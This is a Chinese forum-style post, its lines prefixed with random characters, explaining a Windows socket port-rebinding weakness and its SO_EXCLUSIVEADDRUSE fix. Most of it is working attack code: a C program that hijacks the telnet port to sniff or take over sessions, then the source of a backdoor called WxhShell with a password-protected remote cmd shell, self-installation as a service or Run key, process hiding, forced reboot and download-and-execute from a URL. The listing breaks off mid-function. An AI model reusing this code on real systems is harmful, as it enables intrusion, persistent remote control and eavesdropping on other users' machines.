在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
&R$CZU s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
4T?h gl]E_%tH saddr.sin_family = AF_INET;
cetvQAGXY #^4,GLIM saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Vur bW=~g P)uDLFp] bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
8o/}}=m$ 5r?m&28X 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
NuYkz"O] 1]}#)- 这意味着什么?意味着可以进行如下的攻击:
Y2O"]phi@ ;/0 Q1- 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
!o>H1#2l /[9t` 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
e5OsIVtjr sg8/#_S1i 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
M{$j )LdyC`S\c 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
W,K%c= ru`U' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
9W8]8sUeG %J8|zKT5t 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
gN>2xnh'm r@{~ 5&L 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
^+
wD43 r)T:7zy #include
5BR2?hO4 #include
wP57Pf0 #include
[j"9rO" + #include
*#TYqCc+g DWORD WINAPI ClientThread(LPVOID lpParam);
jM&r{^( int main()
E( h<$w8s {
TI !a )X WORD wVersionRequested;
fi+R2p~vs DWORD ret;
~h"/Tce WSADATA wsaData;
5"/J^"!h BOOL val;
.7
asW( SOCKADDR_IN saddr;
*c)uGz'cD
SOCKADDR_IN scaddr;
$46{<4. int err;
-!)xQvagD. SOCKET s;
x)UwV SOCKET sc;
&h~Xq^ int caddsize;
4HAp{a1 HANDLE mt;
\3Q&~j DWORD tid;
h!#:$|Q wVersionRequested = MAKEWORD( 2, 2 );
Sggq3l$Qc err = WSAStartup( wVersionRequested, &wsaData );
0oh]61gC if ( err != 0 ) {
E0/mSm"(T printf("error!WSAStartup failed!\n");
Z--@.IYoJ return -1;
9z
I.pv+] }
`y+-H|%? saddr.sin_family = AF_INET;
1.D-FPK CdUAy|!`R //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
{} Bf uHIiH@S saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
v?c 0[+? saddr.sin_port = htons(23);
g}f9dB,F if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Bk}><H {
dtPoo\@ printf("error!socket failed!\n");
IG?'zppjd6 return -1;
m'-|{c }
"v}pdUW val = TRUE;
cV-1?h63 //SO_REUSEADDR选项就是可以实现端口重绑定的
&3Zy|p4V< if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
\*\R1_+ {
Gd+ET printf("error!setsockopt failed!\n");
cE iu)2*e return -1;
SI_iI 71 }
3M0+"l(X //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ez3Z3t` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Ke-)vPc //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Wy]^Ub gW 4gSH(*} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
b.O9ITR {
[~\PQYm' ret=GetLastError();
CU:o*;jP printf("error!bind failed!\n");
:y2p@#l# return -1;
+uWYK9 }
$hR)i listen(s,2);
=TP(
UJ while(1)
FA90`VOWYU {
]0B|V2D#e caddsize = sizeof(scaddr);
q@hp.(V //接受连接请求
Sb".]>^ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
`d 2,*KR if(sc!=INVALID_SOCKET)
as+GbstN {
$3X-rjQtW mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
I =Wc&1g if(mt==NULL)
%g]vxm5? {
zu2HH<E printf("Thread Creat Failed!\n");
>%Ee#m break;
m6
s7F/ }
]v G{kAnH }
CnN9!~]" CloseHandle(mt);
qP!P
+'B }
8_H=^a>2 closesocket(s);
_)$PKOzbb WSACleanup();
A\Txb_x return 0;
@^ ik[9^H }
Ovw[b2ii DWORD WINAPI ClientThread(LPVOID lpParam)
QO{y/{ {
MYe
HS SOCKET ss = (SOCKET)lpParam;
2eQdQwX SOCKET sc;
?y XAu0 unsigned char buf[4096];
ftk%EYT; SOCKADDR_IN saddr;
Oq(VvS/ long num;
he+#Q6 DWORD val;
_kFYBd DWORD ret;
:`vP}I ^ //如果是隐藏端口应用的话,可以在此处加一些判断
6qo^2 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
uk`8X`' saddr.sin_family = AF_INET;
I/x iT saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
iF+RnWX\ saddr.sin_port = htons(23);
jY!ZkQsVe if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"()sb? & {
IB9%QW"0 printf("error!socket failed!\n");
nL]^$J$ return -1;
17g^ALs }
1;eX& val = 100;
pN[0YmY# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
IO.<q,pP!_ {
/DS?}I.*] ret = GetLastError();
Wx)K*9 return -1;
4YU/uQm }
_DPOyR2 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
PWgDFL? {
0m9ZQ
O ret = GetLastError();
bzmr"/#D3 return -1;
'_+9y5 }
^b?2N/m@ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
>
^[z3T {
|-2}j2' printf("error!socket connect failed!\n");
IF
k closesocket(sc);
t@bt6J .{ closesocket(ss);
`BZ&~vJ_ return -1;
ZC^C }
}UyQ# U while(1)
x4a:PuqmGG {
6er(% 4! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
vC/[^ //如果是嗅探内容的话,可以再此处进行内容分析和记录
?T:
jk4+ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
\ SCy$,m num = recv(ss,buf,4096,0);
`kN#4p if(num>0)
://U^sFL send(sc,buf,num,0);
+zOOdSFk. else if(num==0)
e5v`;(^M break;
q<=:
>? num = recv(sc,buf,4096,0);
Xwu.AVsr if(num>0)
{6vEEU send(ss,buf,num,0);
|@VF.)_ else if(num==0)
bNzqls$ break;
}3/~x }
vrl[BPI closesocket(ss);
*ftC_v@p5 closesocket(sc);
]Nk!4" return 0 ;
{gy+3
}
q{4|Kpx@ (hZ:X)E> +`| *s3M ==========================================================
f!GHEhQ9 F#q&( 下边附上一个代码,,WXhSHELL
"4}wnu6/ zDBD .5R; ==========================================================
(
76{2 -
HOnB= #include "stdafx.h"
Mn^zYW|( @6xGJ,s #include <stdio.h>
+QqH}=
M #include <string.h>
d;suACW #include <windows.h>
0my9l;X #include <winsock2.h>
~\_T5/I% #include <winsvc.h>
jD<pIHau #include <urlmon.h>
H"YL
k M[Y4_$k<- #pragma comment (lib, "Ws2_32.lib")
<4?*$ #pragma comment (lib, "urlmon.lib")
} ~enEZ 5h_5Z~ #define MAX_USER 100 // 最大客户端连接数
6nw&$I #define BUF_SOCK 200 // sock buffer
pVokgUrC #define KEY_BUFF 255 // 输入 buffer
$-pbw@7 b6W#SpCF #define REBOOT 0 // 重启
{K.rl%_|N #define SHUTDOWN 1 // 关机
{gkwOMW ]O{_O&w #define DEF_PORT 5000 // 监听端口
NtZ6$o<Y ,Q2N[Jwd$ #define REG_LEN 16 // 注册表键长度
Sni=gZ K #define SVC_LEN 80 // NT服务名长度
#3.)H9
*%- ?54B // 从dll定义API
-Ds|qzrN% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1i?=JAFfM typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
1Kc^m\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
7!d$M{0" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
)bW<8f2 kO3`54 // wxhshell配置信息
D9,!
%7i struct WSCFG {
Va9q`XbyO int ws_port; // 监听端口
$pu3Ig$^ char ws_passstr[REG_LEN]; // 口令
p{H0dj ^| int ws_autoins; // 安装标记, 1=yes 0=no
G,DOBA char ws_regname[REG_LEN]; // 注册表键名
"a(1s}, char ws_svcname[REG_LEN]; // 服务名
S %+R#A1 char ws_svcdisp[SVC_LEN]; // 服务显示名
t"YIq/08 char ws_svcdesc[SVC_LEN]; // 服务描述信息
d^aNR
Lv char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Y+|PY?
~ int ws_downexe; // 下载执行标记, 1=yes 0=no
0BC`iql5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
zzf7S%1I char ws_filenam[SVC_LEN]; // 下载后保存的文件名
swZpWC 5#u.pu };
[h", D5 *)%dXVf // default Wxhshell configuration
i_Ar<9a~ struct WSCFG wscfg={DEF_PORT,
?M"HXu "xuhuanlingzhe",
IQ{?_' 1,
UX}*X`{ "Wxhshell",
=HPu{K$ "Wxhshell",
8kbBz "WxhShell Service",
Y+qus "Wrsky Windows CmdShell Service",
TzY!D*%z "Please Input Your Password: ",
6UB6;- 1,
z6Z='=pT "
http://www.wrsky.com/wxhshell.exe",
7|~:P$M "Wxhshell.exe"
QN #)F };
q!2<=:f
;Uk!jQh // 消息定义模块
u%aFb* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
E4m:1=Nd~] char *msg_ws_prompt="\n\r? for help\n\r#>";
.;Z.F7{q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
5&%fkZ0 char *msg_ws_ext="\n\rExit.";
((9YG char *msg_ws_end="\n\rQuit.";
[tN` :}? char *msg_ws_boot="\n\rReboot...";
Ut;'Gk char *msg_ws_poff="\n\rShutdown...";
z@`@I char *msg_ws_down="\n\rSave to ";
pX]21&F 3Q$c'C char *msg_ws_err="\n\rErr!";
\*9Ua/H char *msg_ws_ok="\n\rOK!";
S-P{/;c@ ~h|m&XK+Q char ExeFile[MAX_PATH];
|$Xf;N37t int nUser = 0;
65"uD7; HANDLE handles[MAX_USER];
R\ q):, int OsIsNt;
{e6KJ@H6 &G=0 SERVICE_STATUS serviceStatus;
=BW9/fG SERVICE_STATUS_HANDLE hServiceStatusHandle;
dqwWfn1lt iE+6UK // 函数声明
u2,H ]- int Install(void);
E@]sq A int Uninstall(void);
(olLB int DownloadFile(char *sURL, SOCKET wsh);
UFk!dK+ int Boot(int flag);
pg5&= void HideProc(void);
7uA\&/
, int GetOsVer(void);
'{W3j^m7 int Wxhshell(SOCKET wsl);
M/)B" q void TalkWithClient(void *cs);
*s36OF! int CmdShell(SOCKET sock);
1O9$W?)Q int StartFromService(void);
>gGil|I int StartWxhshell(LPSTR lpCmdLine);
j #es2; |Ib.) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Y`=z.D{ VOID WINAPI NTServiceHandler( DWORD fdwControl );
1!s!wQgS &$Ci}{{n# // 数据结构和表定义
"_oLe;?$c SERVICE_TABLE_ENTRY DispatchTable[] =
.SBc5KX {
G)4SWu0<t {wscfg.ws_svcname, NTServiceMain},
m/" J
s {NULL, NULL}
\3:
L Nt };
?GfxBZWJ s!i:0} U // 自我安装
2i"HqAB int Install(void)
{)uU6z
{' {
@oA0{&G{ char svExeFile[MAX_PATH];
#\0TxG5'QA HKEY key;
d{l{P]nr strcpy(svExeFile,ExeFile);
-UTV:^ "YD.=s // 如果是win9x系统,修改注册表设为自启动
k)Zn> if(!OsIsNt) {
ac3_L$X[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2gH_$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
AW62~* RegCloseKey(key);
,=x
RoXYB} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?}v}U^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
lnjL7x RegCloseKey(key);
0hb/`[Q
return 0;
5C*?1&
! }
>z5Oy }
y78z>(jV }
b<8q 92F else {
dGa@<hg -@#Pc# // 如果是NT以上系统,安装为系统服务
z=[l.Af_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Slo9#26 if (schSCManager!=0)
)L|C'dJ<k` {
4^`PiRGt SC_HANDLE schService = CreateService
+{'lZa (
R^|!^[WE schSCManager,
9Dy)nm^ wscfg.ws_svcname,
{DSyV: wscfg.ws_svcdisp,
6G$/NW=L SERVICE_ALL_ACCESS,
t+jIHo SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
hO%Y{Gg SERVICE_AUTO_START,
we
}#Ru* SERVICE_ERROR_NORMAL,
<TL])@da svExeFile,
$>|?k$(x NULL,
(%Ng'~J\| NULL,
{GAsFnZk NULL,
$>EqH?EQ NULL,
nQ!N}5[z' NULL
6(,ItMbI );
iY}QgB< M if (schService!=0)
|^>u<E5 {
IC\E,m CloseServiceHandle(schService);
V;P1nL4L CloseServiceHandle(schSCManager);
"Jf4N strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
.fbYB,0w strcat(svExeFile,wscfg.ws_svcname);
]}_p3W "Y9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
@h!U RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
cxL,]27Bu RegCloseKey(key);
s87 a% return 0;
,!jR:nApE }
<` #,AVH }
|G>q:]+AV CloseServiceHandle(schSCManager);
5s#R`o%Z }
|}:e+?{o }
bGhhh/n LH bZjZ2 return 1;
%f_FGh }
FYxUOO b8eDD+ul k // 自我卸载
m=#aHF int Uninstall(void)
?`za-+<r< {
ZDW,7b%U HKEY key;
)hePN4edj SnH:(tO[X if(!OsIsNt) {
5%EaX?0h+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=;kRk.qzy RegDeleteValue(key,wscfg.ws_regname);
>3<&V{<K RegCloseKey(key);
lkI8{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[^h/(a` RegDeleteValue(key,wscfg.ws_regname);
oZ?IR#^ RegCloseKey(key);
unx;m$-c return 0;
3S;>ki4(0 }
J11dqj }
pZyb }
q]2}UuM|U else {
FEge+`{, FRb&@(; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
-HO6K)ur if (schSCManager!=0)
\Mobq {
r0rJ.}! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
V5hp
Y ] if (schService!=0)
|:!EHFr {
J[I"/sdk- if(DeleteService(schService)!=0) {
;}UIj{sj* CloseServiceHandle(schService);
s@*,r@< CloseServiceHandle(schSCManager);
2<`gs(oxXe return 0;
K8e4ax }
ctnAVm CloseServiceHandle(schService);
'XC&BWJ }
Fm-q=3 CloseServiceHandle(schSCManager);
,U} 5 }
X3&SL~&>g }
Pf^Ly97 r"HbrQn return 1;
-oaG| }
KT]J,b S)Ub/`f{s // 从指定url下载文件
.:#_5K int DownloadFile(char *sURL, SOCKET wsh)
iA1;k*)q {
>*<6 zQf HRESULT hr;
WF3DGqs_] char seps[]= "/";
qr<-eJf char *token;
ebl)6C char *file;
o|p;6 char myURL[MAX_PATH];
mTI\,x%<OC char myFILE[MAX_PATH];
]%WD} 4e qCxD{-9x{ strcpy(myURL,sURL);
~|0F?~eR7 token=strtok(myURL,seps);
=0!\F~ while(token!=NULL)
priT7! {
rhzv^t file=token;
@?^LxqAWA token=strtok(NULL,seps);
pJ)+}vascR }
&?5{z\;1" f3%^-Uy*b GetCurrentDirectory(MAX_PATH,myFILE);
XeIUdg4>R strcat(myFILE, "\\");
jmk*z(}#: strcat(myFILE, file);
yjM@/b send(wsh,myFILE,strlen(myFILE),0);
[iO$ c]!H send(wsh,"...",3,0);
?( dYW7S hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
c|!A?>O? i if(hr==S_OK)
n'&`9M['%d return 0;
$<>EwW else
)68fm\t( return 1;
DESViQM bsk=9K2_2t }
hB GGs y
T1Qep // 系统电源模块
L->f=
8L int Boot(int flag)
5w [= {
s2kZZP8- HANDLE hToken;
U<,Kw6K TOKEN_PRIVILEGES tkp;
h,WY2Hr L/iVs`qF if(OsIsNt) {
7)(`
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
fj
t_9-. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
v<J;S9u= tkp.PrivilegeCount = 1;
KZ<RDXV T tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
j~L1~@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
%[\Ft if(flag==REBOOT) {
";S*[d.2tA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
=`\,2Nb return 0;
b#I*~ }
PVkN3J else {
EDidg"0p if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
}MavI' return 0;
w[$nO# }
b\0Q: }
Vg,>7?]6h else {
q
V
UUuyF if(flag==REBOOT) {
wq_oh*"
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Y1E>T-Ma return 0;
q[|`&6B }
3Llj_lf else {
Zqs-I8y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
a6k(O8Ank3 return 0;
_9-D3_P[3 }
=u3@ Dhw }
Z/05 wB 3Gd&=IJ return 1;
?'/5%f` }
ox=7N{+`J F)5B[.ce // win9x进程隐藏模块
!|:q@|-
%@ void HideProc(void)
t|U2ws# {
QH' [( n\"LN3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
7" STS7_ if ( hKernel != NULL )
$H:h(ia: {
Qdr-GODx pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
-z 5k4Y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
jme5'FR FreeLibrary(hKernel);
3
cW"VrFy9 }
g\{! 21M :k )<1ua return;
eZod}~J8 }
ocuVDC UrcN? // 获取操作系统版本
PUZXmnB int GetOsVer(void)
F%+rOT<5 {
6u, 0y$3 OSVERSIONINFO winfo;
"QFADk1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
//u76nQ GetVersionEx(&winfo);
7(g&z% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
|UDD/e return 1;
X>GY*XU else
U:4Og8 return 0;
AUjTcu>i }
YG1`%,OW` aLk2#1$g // 客户端句柄模块
1gy}E=noP int Wxhshell(SOCKET wsl)
cYwC,\uF {
gL}Y5U+s SOCKET wsh;
Q.2nUT` struct sockaddr_in client;
-%V-'X5 DWORD myID;
U9fF;[g 4x{ti5Y0 while(nUser<MAX_USER)
S1= JdN {
fQ.>G+0I> int nSize=sizeof(client);
zcWxyLifl0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
"gikX/Co= if(wsh==INVALID_SOCKET) return 1;
D:vUy* lvJ{=~u handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
I+d(r"N1 if(handles[nUser]==0)
s&`XK$p
closesocket(wsh);
hG;=ci3EE else
hGo|2@sc nUser++;
f uNXY-; }
34^Cfh WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
9c %Tv ^t
ldm7{_ return 0;
Bpo68%dx89 }
Cl.T'A$ {5IG3' // 关闭 socket
Y4qyy\} void CloseIt(SOCKET wsh)
jsaCnm>& {
;,-Vapz closesocket(wsh);
Ml/p{ *p nUser--;
J+NK+,_*M ExitThread(0);
Ry S{@=si }
@d^h/w gI5nWEM0{ // 客户端请求句柄
Q!e0Vb void TalkWithClient(void *cs)
49fq6ZhO {
<m:wuNEM M*6@1.n SOCKET wsh=(SOCKET)cs;
4bzn^ char pwd[SVC_LEN];
w]-iM char cmd[KEY_BUFF];
DF|lUO]: char chr[1];
"EhO )lR int i,j;
9x{prCr hsO.521g while (nUser < MAX_USER) {
vGHYB1=~ swq!Sp if(wscfg.ws_passstr) {
T`ZJ=gv if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
VX[!Vh //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
SfL`JNi) //ZeroMemory(pwd,KEY_BUFF);
6MNA.{Jdd i=0;
l4reG:uYG while(i<SVC_LEN) {
xi. KD X3O$Sd(D // 设置超时
Z2jb>% fd_set FdRead;
`80Hxp@ struct timeval TimeOut;
aB!Am +g FD_ZERO(&FdRead);
5m?$\h FD_SET(wsh,&FdRead);
j:KQIwc TimeOut.tv_sec=8;
gK\7^95 TimeOut.tv_usec=0;
yZ0ZP int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
~RAH -] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
2I7` u`@FA?+E1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
NT/B4'_@ pwd
=chr[0]; iX6jvnJ:/
if(chr[0]==0xd || chr[0]==0xa) { Qb{5*>
pwd=0; <u wCP4E
break; O9)}:++T
} FNEmGz/4
i++; %{abRBny
} wR$8drn]Rq
Ka\b_P&
// 如果是非法用户,关闭 socket u*N8s[s'
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !z
5d+ M
} S5a<L_
qDd/wR,44
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /mu4J|[[
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E2kRt'~N
JW'acD
while(1) { hP<qK Vy
Q 9<_:3
ZeroMemory(cmd,KEY_BUFF); 7!nAWlQ&-E
=W*`HV-w
// 自动支持客户端 telnet标准 @0'|Uygn
j=0; *7ro [
while(j<KEY_BUFF) { ?}
tQaj
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {K8T5zrV
cmd[j]=chr[0]; -V/i%_+Ze
if(chr[0]==0xa || chr[0]==0xd) { S\!E;p
cmd[j]=0; M6#(F7hB
break; [`\Qte%UH
} 'FFc"lqj
j++; :K:gyVrC
} .Kwl8xRg
(C@@e'e
// 下载文件 htym4\Z=
if(strstr(cmd,"http://")) { rapca'
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Uk\U*\.
if(DownloadFile(cmd,wsh)) cSk}53
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ", )
else 9(j!#`O7&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6E]rxps}"
} zAUfd[g
else { TeqsP1{?
Q*(o;\s
switch(cmd[0]) { ? d\8Q't*
Ntiz-qW
// 帮助 x)L@xQ
case '?': { IyP].g1"U
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X&Lt?e,&
break; /Ql}jSKi
} zUqDX{I8
// 安装 )aSkUytg"
case 'i': { epyfggMT
if(Install()) c
@fc7
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
j]&{ @Y
else G].KJ5,y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'VEpVo/
break; {hz:[
} o7zfD94I
// 卸载 6u7wfAf
case 'r': { lZ_k307
if(Uninstall()) ( mlc']F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UXHFti/A<
else HXI}f\6x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E: k?*l
break; F9W5x=EK\
} a~>h'}C>
// 显示 wxhshell 所在路径 CI{x/ e^(
case 'p': { ^ BKr0~4A
char svExeFile[MAX_PATH]; 9<S-b |!@
strcpy(svExeFile,"\n\r"); ^dv>n]?
strcat(svExeFile,ExeFile); |e&Kg~~C
send(wsh,svExeFile,strlen(svExeFile),0); aK'r=NU
break; &=bI3-
} 2-84
// 重启 mX^RSg9 E}
case 'b': { zn|}YovY+
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5Y^YKV{
if(Boot(REBOOT)) )3sb2
#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mN02T@R-
else { za7wNe(s
closesocket(wsh); _wCSL.
ExitThread(0); e$=|-Jz
} J?'!8,RX
break; X)m2{@v D
} {'!~j!1'j
// 关机 h#
8b #
case 'd': {
ty> O}9%
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YPl{5=
if(Boot(SHUTDOWN)) x{$NstGB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); if>] )g2lr
else { RMK
U5A7
closesocket(wsh); uE(w$2Wi
ExitThread(0); 1CbC|q
} whCv9)x
break; ^MUM04l
} :%{7Q$Xv<
// 获取shell Kl? 1)u3^4
case 's': { {NR~>=~K-
CmdShell(wsh); 7~'@m(9e
closesocket(wsh); G<'S
ExitThread(0); -eTGRr
break; JK4 @
} CR<l"~X
// 退出 2dfA}i>k
case 'x': { h%%'{^>~
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D#0}/
CloseIt(wsh); xXZN<<f59
break; S[M$>
} \X!!(Z;6A
// 离开 0W> ",2|z
case 'q': { ;q Z2V
send(wsh,msg_ws_end,strlen(msg_ws_end),0); K#jm6Xh?E
closesocket(wsh); )1/O_N6C
WSACleanup(); ^gG,}GTl
exit(1); 3$Je,|bs
break; Vs
>1%$If
} i^#RiCeo
} UWI5/R
} =E}/Z
_EP}el
// 提示信息 I$$!YMm.N
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i+}M#Y-O
} ("Zi,3"+
} -IE;5f#e
d9s"y?8
return; _
0-YsD
} tBrVg<]t
F~EriO
// shell模块句柄 k.%F!sK
int CmdShell(SOCKET sock) m`Z4#_s2
{ 8Xr"4;}f+
STARTUPINFO si; C}CX n X
ZeroMemory(&si,sizeof(si)); R##O9BSI8Z
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y03l_E,
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HM/ qB^
PROCESS_INFORMATION ProcessInfo; ;\h'A(
char cmdline[]="cmd"; 8g\.1<~
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _>s.V`N'
return 0; eX\t]{\oC
} j.o)!SA
9E5B.qlw$l
// 自身启动模式 FE`J.aw^X
int StartFromService(void) XZhhr1-<a
{ uJQeZEe
typedef struct HO"(eDW6z
{ % uKDcj
DWORD ExitStatus; =$MV3]
DWORD PebBaseAddress;
/9sUp}*
DWORD AffinityMask; m35G;
DWORD BasePriority; ZP1EO Z
ULONG UniqueProcessId; V%))%?3x_
ULONG InheritedFromUniqueProcessId; @B+];lr/-
} PROCESS_BASIC_INFORMATION; rVLA"x 9u
1*Z}M%
PROCNTQSIP NtQueryInformationProcess; .$Y[>9
:H~r
_>E
